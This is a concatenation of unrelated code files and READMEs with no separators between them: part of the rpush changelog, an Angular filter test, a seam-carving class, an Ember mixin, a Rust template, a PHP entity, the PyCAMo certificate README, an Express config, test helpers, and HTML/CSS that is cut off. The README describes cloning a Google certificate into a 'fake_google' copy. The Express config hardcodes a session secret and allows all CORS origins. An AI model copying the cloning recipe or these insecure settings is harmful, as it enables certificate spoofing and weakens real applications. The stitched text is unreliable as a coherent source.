2.5 on Travis CI ([#407](https://github.com/rpush/rpush/pull/407) by [@Atul9](https://github.com/Atul9)) ## 3.0.2 (2018-01-08) #### Fixes * Fixes migrations added in 3.0.1 ([#396](https://github.com/rpush/rpush/pull/396) by [@grosser](https://github.com/grosser)) * Actually run these migrations in the test suite ([#399](https://github.com/rpush/rpush/pull/399) by [@aried3r](https://github.com/aried3r)) ## 3.0.1 (2017-11-30) #### Enhancements * Reduce booleans to true/false, do not allow nil ([#384](https://github.com/rpush/rpush/pull/384)) by [@grosser](https://github.com/grosser) * Better error message for error 8 in APNS ([#387](https://github.com/rpush/rpush/pull/387/files)) by [@grosser](https://github.com/grosser) ## 3.0.0 (2017-09-15) Same as 3.0.0.rc1 including: #### Features * Added support for latest modis version ([#378](https://github.com/rpush/rpush/pull/378)) by [@milgner](https://github.com/milgner) ## 3.0.0.rc1 (2017-08-31) When upgrading, don't forget to run `bundle exec rpush init` to get all the latest migrations. #### Features * Added support for APNS `mutable-content` ([#296](https://github.com/rpush/rpush/pull/296) by [@tdtran](https://github.com/tdtran)) * Added support for HTTP2 base APNS Api ([#315](https://github.com/rpush/rpush/pull/315) by [@soulfly](https://github.com/soulfly) and [@Nattfodd](https://github.com/Nattfodd)) #### Changes * **Breaking:** Dropped support for old Rubies and Rails versions. rpush 3.0 only supports Ruby versions 2.2.2 or higher and Rails 4.2 or higher. ([#366](https://github.com/rpush/rpush/pull/366) by [@aried3r](https://github.com/aried3r)) * **Breaking:** Dropped MongoDB support because there was no one maintaining it. But we're open to adding it back in. ([#366](https://github.com/rpush/rpush/pull/366) by [@aried3r](https://github.com/aried3r)) * **Breaking:** Dropped JRuby support. ([#366](https://github.com/rpush/rpush/pull/366) by [@aried3r](https://github.com/aried3r)) * Make synchronizer aware of GCM and WNS apps ([#254](https://github.com/rpush/rpush/pull/254) by [@wouterh](https://github.com/wouterh)) * Precise after init commit msg ([#266](https://github.com/rpush/rpush/pull/266) by [@azranel](https://github.com/azranel)) * Use new GCM endpoint ([#303](https://github.com/rpush/rpush/pull/303) by [@aried3r](https://github.com/aried3r)) * Remove sound default value ([#320](https://github.com/rpush/rpush/pull/320) by [@amaierhofer](https://github.com/amaierhofer)) #### Bugfixes * ~~~Lock `net-http-persistent` dependency to `< 3`. See also [#306](https://github.com/rpush/rpush/issues/306) for more details. (by [@amaierhofer](https://github.com/amaierhofer))~~~ * Fix `net-http-persistent` initializer to support version 2.x as well as 3.x. ([#309](https://github.com/rpush/rpush/pull/309) by [@amirmujkic](https://github.com/amirmujkic)) * Fixed Rpush::ApnsFeedback being run on every application type when using Redis. ([#318](https://github.com/rpush/rpush/pull/318) by [@robertasg](https://github.com/robertasg)) ## 2.7.0 (February 9, 2016) #### Features * Added support for GCM priorities. ([#243](https://github.com/rpush/rpush/pull/243) by [@aried3r](https://github.com/aried3r)) * Added support for GCM notification payload ([#246](https://github.com/rpush/rpush/pull/246) by [@aried3r](https://github.com/aried3r)) * Added support for Windows Raw Notifications (in JSON form) ([#238](https://github.com/rpush/rpush/pull/238) by [@mseppae](https://github.com/mseppae)) * Added WNS badge notifications ([#247](https://github.com/rpush/rpush/pull/247) by [@wouterh](https://github.com/wouterh)) * Added the `launch` argument of WNS toast notifications ([#247](https://github.com/rpush/rpush/pull/247) by [@wouterh](https://github.com/wouterh)) * Added sound in WNS toast notifications ([#247](https://github.com/rpush/rpush/pull/247) by [@wouterh](https://github.com/wouterh)) #### Changes * Change `alert` type from `string` to `text` in ActiveRecord to allow bigger alert dictionaries. ([#248](https://github.com/rpush/rpush/pull/248) by [@schmidt](https://github.com/schmidt)) #### Fixes * Fixed issue where setting the `mdm` parameter broke `to_binary` for MDM APNs ([#234](https://github.com/rpush/rpush/pull/234) by [@troya2](https://github.com/troya2)) * Fixed `as_json` ([#231](https://github.com/rpush/rpush/issues/231) by [@aried3r](https://github.com/aried3r)) ## 2.6.0 (January 25, 2016) #### Features * Added support for GCM for iOS' `content_available`. ([#221](https://github.com/rpush/rpush/pull/221)) #### Fixes * Fix typo in Oracle support. ([#185](https://github.com/rpush/rpush/pull/185)) * Remove `param` tag from WNS message. ([#190](https://github.com/rpush/rpush/pull/190)) * Fixed WNS response headers parser. ([#192](https://github.com/rpush/rpush/pull/192)) * GCM: fixed raise of unhandled errors. ([#193](https://github.com/rpush/rpush/pull/193)) * Fix issue with custom PID file set in `Rpush.config`. ([#224](https://github.com/rpush/rpush/pull/224), [#225](https://github.com/rpush/rpush/pull/225)) ## 2.5.0 (July 19, 2015) Features: * Add 'rpush status' to inspect running Rpush internal status. * ActiveRecord logging is no longer redirected to rpush.log when embedded (#138). * Support for WNS (Windows RT) (#137). * Indexes added to some Mongoid fields (#151). * Added support for Oracle. Bug fixes: * Fix for handling APNs error when using `rpush push` or `Rpush.push`. * Fix backwards compatibility issue with ActiveRecord (#144). ## 2.4.0 (Feb 18, 2015) Features: * Support for MongoDB (using Mongoid). * config.feedback_poll is now deprecated, use config.apns.feedback_receiver.frequency instead. * Add config.apns.feedback_receiver.enabled to optionally enable the APNs feedback receiver (#129). * Passing configuration options directly to Rpush.embed and Rpush.push is now deprecated. Bug fixes: * Fix setting the log level when using Rails 4+ or without Rails (#124). * Fix the possibility for excessive error logging when using APNs (#128). * Re-use timestamp when replacing a migration with the same name (#91). * Ensure App/Notification type is updated during 2.0 upgrade migration (#102). ## 2.3.2 (Jan 30, 2015) Bug fixes: * Internal sleep mechanism would sometimes no wait for the full duration specified. * Rpush.push nows delivers all pending notifications before returning. * Require thor >= 0.18.1 (#121). ## 2.3.1 (Jan 24, 2015) * Fix CPU thrashing while waiting for an APNs connection be established (#119). ## 2.3.0 (Jan 19, 2015) * Add 'version' CLI command. * Rpush::Wpns::Notification now supports setting the 'data' attribute. * ActiveRecord is now directed to the configured Rpush logger (#104). * Logs are reopened when the HUP signal is received (#95). * Fix setting config.redis_options (#114). * Increase frequency of TCP keepalive probes on Linux. * APNs notifications are no longer marked as failed when a dropped connection is detected, as it's impossible to know exactly how many actually failed (if any). * Notifications are now retried instead of being marked as failed if a TCP/HTTP connection cannot be established. ## 2.2.0 (Oct 7, 2014) * Numerous command-line fixes, sorry folks! * Add 'rpush push' command-line command for one-off use. ## 2.1.0 (Oct 4, 2014) * Bump APNs max payload size to 2048 for iOS 8. * Add 'category' for iOS 8. * Add url_args for Safari Push Notification Support (#77). * Improved command-line interface. * Rails integration is now optional. * Added log_level config option. * log_dir is now deprecated and has no effect, use log_file instead. ## 2.0.1 (Sept 13, 2014) * Add ssl_certificate_revoked reflection (#68). * Fix for Postgis support in 2.0.0 migration (#70). ## 2.0.0 (Sept 6, 2014) * Use APNs enhanced binary format version 2. * Support running multiple Rpush processes when using ActiveRecord and Redis. * APNs error detection is now performed asynchronously, 'check_for_errors' is therefore deprecated. * Deprecated attributes_for_device accessors. Use data instead. * Fix signal handling to work with Ruby 2.x. (#40). * You no longer need to signal HUP after creating a new app, they will be loaded automatically for you. * APNs notifications are now delivered in batches, greatly improving throughput. * Signaling HUP now also causes Rpush to immediately check for new notifications. * The 'wakeup' config option has been removed. * The 'batch_storage_updates' config option has been deprecated, storage backends will now always batch updates where appropriate. * The rpush process title updates with number of queued notifications and number of dispatchers. * Rpush::Apns::Feedback#app has been renamed to app_id and is now an Integer. * An app is restarted when the HUP signal is received if its certificate or environment attribute changed. ## 1.0.0 (Feb 9, 2014) * Renamed to Rpush (from Rapns). Version number reset to 1.0.0. * Reduce default batch size to 100. * Fix sqlite3 support (#160). * Drop support for Ruby 1.8. * Improve APNs certificate validation errors (#192) @mattconnolly). * Support for Windows Phone notifications (#191) (@matiaslina). * Support for Amazon device messaging (#173) (@darrylyip). * Add two new GCM reflections: gcm_delivered_to_recipient, gcm_failed_to_recipient (#184) (@jakeonfire). * Fix migration issues (#181) (@jcoleman). * Add GCM gcm_invalid_registration_id reflection (#171) (@marcrohloff). * Feature: wakeup feeder via UDP socket (#164) (@mattconnolly). * Fix reflections when using batches (#161). * Only perform APNs certificate validation for APNs apps (#133). * The deprecated on_apns_feedback has now been removed. * The deprecated airbrake_notify config option has been removed. * Removed the deprecated ability to set attributes_for_device using mass-assignment. * Fixed issue where database connections may not be released from the connection pool. ## 3.4.1 (Aug 30, 2013) * Silence unintended airbrake_notify deprecation warning (#158). * Add :dependent => :destroy to app notifications (#156). ## 3.4.0 (Aug 28, 2013) * Rails 4 support. * Add apns_certificate_will_expire reflection. * Perform storage update in batches where possible, to increase throughput. * airbrake_notify is now deprecated, use the Reflection API instead. * Fix calling the notification_delivered reflection twice (#149). ## 3.3.2 (June 30, 2013) * Fix Rails 3.0.x compatibility (#138) (@yoppi). * Ensure Rails does not set a default value for text columns (#137). * Fix error in down action for add_gcm migration (#135) (@alexperto). ## 3.3.1 (June 2, 2013) * Fix compatibility with postgres_ext (#104). * Add ability to switch the logger (@maxsz). * Do not validate presence of alert, badge or sound - not actually required by the APNs (#129) (@wilg). * Catch IOError from an APNs connection. (@maxsz). * Allow nested hashes in APNs notification attributes (@perezda). ## 3.3.0 (April 21, 2013) * GCM: collapse_key is no longer required to set expiry (time_to_live). * Add reflection for GCM canonical IDs. * Add Rpush::Daemon.store to decouple storage backend. ## 3.2.0 (Apr 1, 2013) * Rpush.apns_feedback for one time feedback retrieval. Rpush.push no longer checks for feedback (#117, #105). * Lazily connect to the APNs only when a notification is to be delivered (#111). * Ensure all notifications are sent when using Rpush.push (#107). * Fix issue with running Rpush.push more than once in the same process (#106). ## 3.1.0 (Jan 26, 2013) * Rpush.reflect API for fine-grained introspection. * Rpush.embed API for embedding Rpush into an existing process. * Rpush.push API for using Rpush in scheduled jobs. * Fix issue with integration with ActiveScaffold (#98) (@jeffarena). * Fix content-available setter for APNs (#95) (@dup2). * GCM validation fixes (#96) (@DianthuDia). ## 3.0.1 (Dec 16, 2012) * Fix compatibility with Rails 3.0.x. Fixes #89. ## 3.0.0 (Dec 15, 2012) * Add support for Google Cloud Messaging. * Fix Heroku logging issue. ## 2.0.5 (Nov 4, 2012) ## * Support content-available (#68). * Append to log files. * Fire a callback when Feedback is received. ## 2.0.5.rc1 (Oct 5, 2012) ## * Release db connections back into the pool after use (#72). * Continue to start daemon if a connection cannot be made during startup (#62) (@mattconnolly). ## 2.0.4 (Aug 6, 2012) ## * Don't exit when there aren't any Rpush::App instances, just warn (#55). ## 2.0.3 (July 26, 2012) ## * JRuby support. * Explicitly list all attributes instead of calling column_names (#53). ## 2.0.2 (July 25, 2012) ## * Support MultiJson < 1.3.0. * Make all model attributes accessible. ## 2.0.1 (July 7, 2012) ## * Fix delivery when using Ruby 1.8. * MultiJson support. ## 2.0.0 (June 19, 2012) ## * Support for multiple apps. * Hot Updates - add/remove apps without restart. * MDM support. * Removed rpush.yml in favour of command line options. * Started the changelog!
//filters.js eventsApp.filter('durations' 'use strict'; describe('durations', function(){ beforeEach(module("eventsApp")); it('should return "Half Hour" when given a 1', inject(function(durationFilter){ expect(durationFilter(1)).toEqual('Half Hour'); })) it('should return "1 Hour" when given a 2', inject(function(durationFilter){ expect(durationFilter(2)).toEqual('1 Hour'); })) it('should return "Half Day" when given a 3', inject(function(durationFilter){ expect(durationFilter(3)).toEqual('Half Day'); })) it('should return " Hour" when given a 4', inject(function(durationFilter){ expect(durationFilter(4)).toEqual('Full Day'); })) })
 function SeamCarver(ctx) { var w = ctx.canvas.width; var h = ctx.canvas.height; var imgd = ctx.getImageData(0, 0, w, h); var pix = imgd.data; var img = []; for (var i = 0; i < h; i++) { img.push(new Uint32Array(w)); for (var j = 0; j < w; j++) { img[i][j] = (pix[4 * i * w + 4 * j] << 16) + (pix[4 * i * w + 4 * j + 1] << 8) + pix[4 * i * w + 4 * j + 2]; } } this._img = img; this._w = w; this._h = h; this._removedSeams = [] } SeamCarver.prototype.energy = function (x, y) { return this._energyInternal(x, y); } SeamCarver.prototype.imageData = function (ctx) { var w = this._w; var h = this._h; var id = ctx.createImageData(w, h); for (var i = 0; i < h; i++) { for (var j = 0; j < w; j++) { var color = this._img[i][j]; var r = color >> 16 & 0xFF; var g = color >> 8 & 0xFF; var b = color & 0xFF; var index = 4 * w * i + 4 * j; id.data[index] = r; id.data[index + 1] = g; id.data[index + 2] = b; id.data[index + 3] = 255; } } return id; } SeamCarver.prototype.findVerticalSeam = function () { var w = this._w; var h = this._h; var edgeTo = []; var distTo = []; distTo.push(new Float32Array(w)); edgeTo.push(new Int16Array(w).fill(-1)); for (var i = 1; i < h; i++) { distTo[i] = new Float32Array(w); edgeTo[i] = new Int16Array(w).fill(-1); for (var j = 0; j < w; j++) { distTo[i][j] = Number.MAX_VALUE; } } for (var i = 1; i < h; i++) { var prevRow = distTo[i - 1]; for (var j = 1; j < w - 1; j++) { var energy = this._energyInternal(j, i); var dleft = prevRow[j - 1]; var dcenter = prevRow[j]; var dright = prevRow[j + 1]; if (dleft < dcenter && dleft < dright) { distTo[i][j] = dleft + energy; edgeTo[i][j] = j - 1; } else if (dcenter < dright) { distTo[i][j] = dcenter + energy; edgeTo[i][j] = j; } else { distTo[i][j] = dright + energy; edgeTo[i][j] = j + 1; } } } var min = Number.MAX_VALUE; var minIndex = -1; for (var i = 0; i < w; i++) { if (distTo[h - 1][i] < min) { min = distTo[h - 1][i]; minIndex = i; } } distTo[h - 1][minIndex] = Number.MAX_VALUE; var path = [minIndex]; var curIndex = minIndex; for (var i = h - 1; i > 0; i--) { var curIndex = edgeTo[i][curIndex]; path.push(curIndex); } return path; } SeamCarver.prototype.removeVerticalSeam = function () { var seam = this.findVerticalSeam(); var h = this._h; var res = []; for (var i = 0; i < seam.length; i++) { var col = seam[i]; res.push({ col: col, color: this._img[h - i - 1][col] }); for (var j = col; j < this._w - 1; j++) { this._img[h - i - 1][j] = this._img[h - i - 1][j + 1]; } } this._w--; this._removedSeams.push(res); } SeamCarver.prototype.restoreVerticalSeam = function () { var w = this._w; var h = this._h; if (this._removedSeams.length == 0) { return; } var seam = this._removedSeams.pop(); for (var i = 0; i < seam.length; i++) { var row = this._img[h - i - 1]; var col = seam[i].col; var color = seam[i].color; for (var j = w - 1; j >= col; j--) { row[j + 1] = row[j]; } row[col] = color; } this._w++; } SeamCarver.prototype.width = function () { return this._w; } SeamCarver.prototype._energyInternal = function (col, row) { if (col == 0 || row == 0 || col == this._w - 1 || row == this._h - 1) { return 1000; } var x1 = this._img[row][col - 1]; var x1r = x1 >> 16 & 0xFF; var x1g = x1 >> 8 & 0xFF; var x1b = x1 & 0xFF; var x2 = this._img[row][col + 1]; var x2r = x2 >> 16 & 0xFF; var x2g = x2 >> 8 & 0xFF; var x2b = x2 & 0xFF; var y1 = this._img[row - 1][col]; var y1r = y1 >> 16 & 0xFF; var y1g = y1 >> 8 & 0xFF; var y1b = y1 & 0xFF; var y2 = this._img[row + 1][col]; var y2r = y2 >> 16 & 0xFF; var y2g = y2 >> 8 & 0xFF; var y2b = y2 & 0xFF; var dx = (x1r - x2r) * (x1r - x2r) + (x1g - x2g) * (x1g - x2g) + (x1b - x2b) * (x1b - x2b); var dy = (y1r - y2r) * (y1r - y2r) + (y1g - y2g) * (y1g - y2g) + (y1b - y2b) * (y1b - y2b); return Math.sqrt(dx + dy); }
import Ember from 'ember'; export default Ember.Mixin.create({ getMailsFromMailThreadByThreadId: function getMailsFromMailThreadByThreadId(mailThreadId) { return this.store.find('mail-thread').then(function(mailThreads) { return mailThreads.filterBy('id', mailThreadId)[0]; }).then(function(mailThread) { return mailThread.get('mails'); }); }, getMailByIdFromMailThreads: function getMailByIdFromMailThreads(mailId){ return this.store.find('mail-thread').then(function(mailThreads){ var filteredMailToReturn; mailThreads.forEach(function(mailThread){ var filteredMail = mailThread.get('mails').filterBy('id', +mailId)[0]; if( filteredMail ) { filteredMailToReturn = filteredMail; } }); return filteredMailToReturn; }); } });
@* A very simple template with no arguments. This line is a comment. *@ @use model::Comment; @use markdown::render; @use model::ToHTML; @(comments:&Vec<Comment>) @for comment in comments{ <div class="media" style="overflow:visible;"> <div class="media-left media-middle"> <img class="media-object" src="@comment.get_user().get_gravatar_url(Some(64))"> </div> <div class="media-body" > <article> @render(comment.get_content()) </article> <aside> <hr> by <span>@comment.get_user().get_nickname()#@comment.get_user().get_uid()</span> <span class="comment-writed-date">@comment.get_writed_datetime()</span> <button class="btn btn-default btn-delete-comment" data-comment-id="@comment.get_uid()">삭제</button> </aside> </div> </div> }
<?php namespace Zazzam\Sapa\Domain\Model; /* * * This script belongs to the TYPO3 Flow package "Zazzam.Sapa". * * * * */ use TYPO3\Flow\Annotations as Flow; use Doctrine\ORM\Mapping as ORM; use Zazzam\Sapa\Domain\Model\User\Specialist; use Zazzam\Sapa\Domain\Model\Request; use Doctrine\Common\Collections\ArrayCollection; use DateTime; /** * @Flow\Entity */ class Queue { /** * @var string * @Flow\Validate(type="StringLength", options={ "minimum"=3, "maximum"=128 }) * @Flow\Validate(type="NotEmpty") */ protected $name; /** * @var string * @ORM\Column(nullable=true) */ protected $description; /** * @var \Doctrine\Common\Collections\Collection<\Zazzam\Sapa\Domain\Model\User\Specialist> * @ORM\ManyToMany(mappedBy="queues", cascade={"persist"}) */ protected $responsibleUsers; /** * @var \Doctrine\Common\Collections\Collection<\Zazzam\Sapa\Domain\Model\Request> * @ORM\ManyToMany(mappedBy="queues", cascade={"persist"}) * @ORM\OrderBy({"updatedAt" = "DESC"}) */ protected $requests; /** * @var \Zazzam\Sapa\Domain\Model\Request * @Flow\Transient */ protected $currentRequest; public function __construct() { $this->responsibleUsers = new \Doctrine\Common\Collections\ArrayCollection(); $this->requests = new \Doctrine\Common\Collections\ArrayCollection(); } /** * @param string $name * @return void */ public function setName($name) { $this->name = $name; } /** * @return string */ public function getName() { return $this->name; } /** * @param string $description * @return void */ public function setDescription($description) { $this->description = $description; } /** * @return string */ public function getDescription() { return $this->description; } /** * @param ArrayCollection $users * @return void */ public function setResponsibleUsers(ArrayCollection $users) { $this->responsibleUsers = $users; foreach($users as $user) { $user->addQueue($this); } } /** * @param Specialist $user * @return void */ public function addResponsibleUser(Specialist $user) { $user->addQueue($this); if(!$this->responsibleUsers->contains($user)) { $this->responsibleUsers->add($user); } } /** * @return ArrayCollection */ public function getResponsibleUsers() { return $this->responsibleUsers; } /** * @param Specialist $user * @return void */ public function removeResponsibleUser(Specialist $user) { $user->removeQueue($this); $this->responsibleUsers->removeElement($user); } /** * @param Request $request * @return void */ public function addRequest(Request $request) { if(!$this->requests->contains($request)) { $this->requests->add($request); } $request->addQueue($this); } /** * @return ArrayCollection */ public function getRequests() { return $this->requests; } /** * @return Request */ public function getFirstRequest() { return $this->requests->first(); } /** * @param \Zazzam\Sapa\Domain\Model\Request $request */ public function setCurrentRequest(Request $request) { $this->currentRequest = $request; } /** * @return \Zazzam\Sapa\Domain\Model\Request */ public function getPreviousRequest() { $currentIndex = $this->requests->indexOf($this->currentRequest); if(isset($this->requests[$currentIndex - 1])) { return $this->requests[$currentIndex - 1]; } } /** * @return \Zazzam\Sapa\Domain\Model\Request */ public function getNextRequest() { $currentIndex = $this->requests->indexOf($this->currentRequest); if(isset($this->requests[$currentIndex + 1])) { return $this->requests[$currentIndex + 1]; } } /** * @param Request $request * @return void */ public function removeRequest(\Zazzam\Sapa\Domain\Model\Request $request) { $this->requests->removeElement($request); $request->removeQueue($this); } /** * @return DateTime */ public function getUpdatedAt() { if($this->requests->count() > 0) { return $this->requests->first()->getUpdatedAt(); } else { return Null;//new DateTime('1970-01-01'); } } }
PyCAMo ====== Python CA Module ## Path structure ``` PyCAMo/ ├── LICENSE ├── pycamo │ ├── crypto.py │ ├── __init__.py │ └── logHandler.py └── README.md ``` ## How to install PyCAMo is actually under pre-beta development, to install it copy the pycamo folder under your project folder. Import it with. ``` from pycamo import Certificate ``` or ``` from pycamo import * ``` or ``` import pycamo ``` You can also clone the repo in your main project folder: ``` git clone git@github.com:gonzalezkrause/pycamo.git ``` and then simply do an import: ``` from pycamo import Certificate ``` ## API Reference The API references are a TODO, meanwhile here are some examples. ### Activate debug on the module To add the debug feature to pycamo module the only thing that is needed is adding debug=True at object initialization: ``` c = Certificate(debug=True) ``` ### Generate a self signed certificate: ``` c = Certificate() c.genSelfSigned( certDir='/home/user/Desktop/', keySize=2048, expDate=2, CN='John Doe', C='AF', ST='Farah Desert', O='United camel exports', email='john@foo.bar', usage='user' ) ``` ### Generate a CA ``` c = Certificate() c.genCA( caPath='/home/user/Desktop/testCA/', caName='testCA', CASerial=0x01, serial=0x01, keySize=4096, C='AF', O='United camel exports', OU='Identity verification', CN='Camel CA', email='ca@foo.bar', expDate=10 ) ``` ### Generate a CSR ``` c = Certificate() privateKey, csrId = c.genCSR( caPath='/home/user/Desktop/testCA/', keySize=2048, email='exports@foo.bar', C='AF', ST='Farah', O='United camel exports', OU='International exports', CN='John_Doe' ) ``` ### Sign a CSR ``` c = Certificate() c.signCSR( caPath='/home/user/Desktop/testCA/', csrID='ayJXySUyaJWkIx6', expDate=1, usage='client' ) ``` ### Generate a CSR and sign it automatically ``` c = Certificate() priv, csrId = c.genCSR( caPath='/home/user/Desktop/testCA/', keySize=2048, email='exports@foo.bar', C='AF', ST='Farah', O='United camel exports', OU='International exports', CN='John_Doe' ) cert = c.signCSR( caPath='/home/user/Desktop/testCA/', csrID=csrId, expDate=1, usage='client' ) print priv print cert ``` ### Sign a self signed cert with our CA ``` c = Certificate() return c.signCert( caPath='/home/user/Desktop/testCA/', certFile='/home/user/Desktop/John_Doe.crt', keySize=2048, notAfter=2, usage='user' ) ``` ### Export a certificate to a PKCS12 container ``` c = Certificate() c.p12Export( caPath='/home/user/Desktop/testCA/', cert='/home/user/Desktop/test.crt', key='/home/user/Desktop/test.key', dst='/home/user/Desktop/test.p12', passwd='testpass123', iter=4096, maciter=200 ) ``` ### Rip and semi clone a certificate -Don't use for evil things ;)- ``` c = Certificate() rcert = c.ripCert( certFile='/home/user/Desktop/google.crt', certDir=/home/user/Desktop/, keySize=2048, expDate=2, CN='fake_google' ) c.genSelfSigned(copy=rcert) ``` ### Generate a Certificate Revocation List ``` c = Certificate() c.genCRL( caPath='/home/user/Desktop/testCA/', crlDays=100 ) ``` ### Revoke a certificate ``` c = Certificate() rl = c.revokeCert( caPath='/home/user/Desktop/testCA/', crlPath='/home/user/Desktop/testCA/crl.pem', # revCert='/home/user/Desktop/test.crt', rCertSerial='08', reason='cessationOfOperation', crlDays=100 ) print rl ``` ### Dump revoked certificates from CRL ``` c = Certificate() cd = c.dumpCRL(crlPath='/home/user/Desktop/testCA/crl.pem') print cd ``` ### CA administration ``` c = Certificate() c.caAdmin( caPath='/home/user/Desktop/testCA', caInfo=True ) ``` Possible values are: * listCerts=True * archive=True * printArchive=True Can also be called with: ``` c = Certificate() c.caAdmin( caPath='/home/user/Desktop/testCA', caInfo=False, listCerts=False, archive=False, printArchive=True ) ``` ## OpenSSL tests: ### Setup an OpenSSL TLS Server/Client With this you can test if your certificates are correct generated and suitable for a SSL/TSL connection. ``` openssl s_server -accept 1337 -cert /home/user/Desktop/Server.crt -key /home/user/Desktop/Server.key openssl s_client -CAfile /home/user/Desktop/testCA/testCA.crt -connect localhost:1337 ``` ## Application example: See the 'demoApp.py' for a complete application example.
var express = require('express'), logger = require('morgan'), bodyParser = require('body-parser'), cookieParser = require('cookie-parser'), session = require('express-session'), passport = require('passport'); module.exports = function (app, config) { app.set('views', config.rootPath, '/server/views'); app.set('view engine', 'ejs'); app.use(logger('dev')); app.use(cookieParser()); app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: false })); app.use(session({ secret: 'interval trainer unicorns', name: 'jab-ita', //store: sessionStore, // connect-mongo session store proxy: true, resave: true, saveUninitialized: true })); //app.use(session({secret: 'interval trainer unicorns'})); app.use(passport.initialize()); app.use(passport.session()); //app.use(express.static(config.rootPath, '/public')); app.use(function (req, res, next) { res.header("Access-Control-Allow-Origin", "*"); res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE'); res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept"); next(); }); // catch 404 and forward to error handler app.use(function (req, res, next) { var err = new Error('Not Found'); err.status = 404; next(err); }); };
var assert = require('assert'), cascade = require('../index'); var TestComplete = function(){} TestComplete.prototype = new Error(); TestComplete.prototype.constructor = TestComplete; var test = module.exports = { // generates a macro context "context" : function( initialVal, result ){ var funcs = Array.prototype.slice.call( arguments, 2 ); return { topic : function(){ cascade.call( { stack : funcs.concat( test.done( this.callback ) ), stackPosition : 0, data : {} }, initialVal ); }, "ok" : function( topic ){ assert.deepEqual( topic, result ); } }; }, "create" : function( initialArgs, resultArgs ){ var stack = Array.prototype.slice.call( arguments, 2 ); // if resultArgs is an array, add a final comparison function if( resultArgs instanceof Array ){ stack.push( test.compareResult( resultArgs ) ); } stack.push( test.complete ); return function(){ assert.throws( function(){ cascade.apply( { stack : stack, stackPosition : 0, data : {} }, initialArgs ); }, TestComplete ); } }, "complete" : function(){ throw new TestComplete(); }, "passthrough" : function(){ arguments[ arguments.length - 1 ].apply( this, Array.prototype.slice.call( arguments, 0, arguments.length - 1 ) ); }, "increment" : function( by ){ return function( item, callback ){ callback( item + by ); }; }, "addData" : function( data ){ return function( item, next ){ //callback( item, data ); for( var prop in data ){ this.data[prop] = data[prop]; } arguments[ arguments.length - 1 ].apply( this, Array.prototype.slice.call( arguments, 0, arguments.length - 1 ) ); } }, "returnData" : function( item, next ){ arguments[ arguments.length - 1 ]( this.data ); }, "delay" : function( ms ){ return function( item, callback ){ setTimeout( function(){ callback( item ); }, ms ); } }, "randomDelay" : function( min, max ){ return function( item, callback ){ setTimeout( function(){ callback( item ); }, Math.floor( Math.random() * (max - min) + min ) ); }; }, "log" : function( item, callback ){ var args = Array.prototype.slice.call( arguments, 0, arguments.length - 1 ); console.log( "Arguments:", args ); arguments[ arguments.length - 1 ].apply( this, args ); }, "tap" : function( func ){ return function(){ var args = Array.prototype.slice.call( arguments, 0, arguments.length - 1 ), next = arguments[ arguments.length - 1 ]; func.apply( this, args ); next.apply( this, args ); } }, "done" : function( cb ){ return function( item, callback ){ cb( null, item ); } }, /** * Asynchronous-compatible assertion */ "assertEqual" : function( value ){ return function( item, callback ){ assert.equal( item, value ); callback( item ); } }, "assertDeepEqual" : function( obj ){ return function( item, callback ){ assert.deepEqual( item, obj ); callback( item ); } }, "compareResult" : function( compareTo ){ return function(){ assert.deepEqual( Array.prototype.slice.call( arguments, 0, arguments.length - 1 ), compareTo ); arguments[ arguments.length - 1 ].call( this, Array.prototype.slice.call( arguments, 0, arguments.length - 1 ) ); }; } };
<!DOCTYPE html> <html lang="en" class="no-js"> <head> <style href="style/global.css" rel="stylesheet"> html, body, div, span, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, abbr, address, cite, code, del, dfn, em, img, ins, kbd, q, samp, small, strong, sub, sup, var, b, i, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, figcaption, figure, footer, header, hgroup, menu, nav, section, summary, time, mark, audio, video { margin: 0px; padding: 0px; border: 0px none; font: inherit; vertical-align: baseline; } article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section { display: block; } body { font: 14px/1.41 'Proxima-Nova-1',Proxima Nova,Myriad Pro,Arial,sans-serif; color: rgb(102, 102, 102); overflow-x: hidden; padding-top: 70px; } select, input, textarea, button { font: 99% sans-serif; } html { overflow-y: scroll; } a:hover, a:active, button { outline: medium none; } ul, ol { margin-left: 2em; } nav ul, nav li { margin: 0px; list-style: none outside none; } label, input[type="button"], input[type="submit"], input[type="image"], button { cursor: pointer; } button, input, select, textarea { margin: 0px; } button { width: auto; overflow: visible; font-family: "Proxima-Nova-1",Arial,sans-serif; } h1, h2, h3, h4, h5, h6 { color: rgb(53, 54, 57); font-size: 14px; font-weight: bold; } a, a:active, a:visited { color: rgb(35, 118, 198); transition: color 0.3s ease 0s; } a:hover { color: rgb(3, 103, 199); } body { min-width: 960px; } .container_12 { margin-left: auto; margin-right: auto; width: 960px; } .grid_1, .grid_2, .grid_3, .grid_4, .grid_5, .grid_6, .grid_7, .grid_8, .grid_9, .grid_10, .grid_11, .grid_12 { display: inline; float: left; margin-left: 10px; margin-right: 10px; } .container_12 .grid_2 { width: 140px; } .container_12 .grid_12 { width: 940px; } #branding { background: none repeat scroll 0% 0% rgb(47, 47, 47); height: 70px; width: 100%; position: fixed; top: 0px; left: 0px; right: 0px; display: block; z-index: 997; box-shadow: 0px -3px 2px rgba(0, 0, 0, 0.28) inset, 0px -1px 0px rgb(34, 34, 34) inset, 0px 1px 3px rgba(0, 0, 0, 0.5); } #branding .logo_text { z-index: 2; position: relative; float: left; left: 0px; top: 0px; padding-top: 17px; padding-left: 20px; } #branding .logo_text h1 { float: left; overflow: hidden; margin-right: 15px; transition: all 0.2s ease 0s; } #branding .logo_text h1 a { font-size: 24px; color: rgba(255, 255, 255, 0.6); text-decoration: none; font-weight: bold; text-shadow: -1px -1px 0px rgba(0, 0, 0, 0.2), 1px -1px 0px rgba(0, 0, 0, 0.2), -1px 1px 0px rgba(0, 0, 0, 0.2), 1px 1px 0px rgba(0, 0, 0, 0.2); } #branding .logo_text h1 a:hover { color: rgb(255, 255, 255); } #branding .logo_text h1 a:active { text-shadow: 0px -2px 1px rgba(0, 0, 0, 0.5), -1px -1px 0px rgba(0, 0, 0, 0.2), 1px -1px 0px rgba(0, 0, 0, 0.2), -1px 1px 0px rgba(0, 0, 0, 0.2), 1px 1px 0px rgba(0, 0, 0, 0.2); } #branding .logo_text h1 a span { font-weight: 300; color: rgb(107, 189, 225); } #branding .logo_text h1 a span:hover { color: rgb(17, 174, 243); } header ul { list-style: none outside none; } #mustache_picker { width: 